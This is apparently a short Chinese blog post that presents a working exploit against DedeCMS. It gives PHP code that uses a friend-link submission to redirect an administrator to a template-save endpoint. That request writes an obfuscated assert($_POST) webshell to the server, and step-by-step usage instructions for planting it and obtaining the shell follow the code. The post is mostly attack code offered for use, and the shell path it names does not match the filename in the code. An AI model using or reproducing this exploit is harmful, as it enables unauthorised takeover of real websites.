【摘要】漏洞详情：http://0day5.com/archives/4209/EXP:<?php//print_r($_SERVER);$referer=$_SERVER['HTTP_REFERE...

漏洞详情：

    http://0day5.com/archives/4209/

EXP:

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);
$muma = '<'.'?'.'a'.'s'.'s'.'e'.'r'.'t'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'a'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>

使用方法：

    1.保存上方exp，上传至服务器；

    2.访问目标网站:http://www.test.com/plus/flink.php

        链接填写部署的exp的URL；

    3.等待管理员触发，得到shell地址http://www.test.com/include/taglib/dy.lib.php

 小东
 简介：专业团队网站开发、安全运维，合作意向请联系！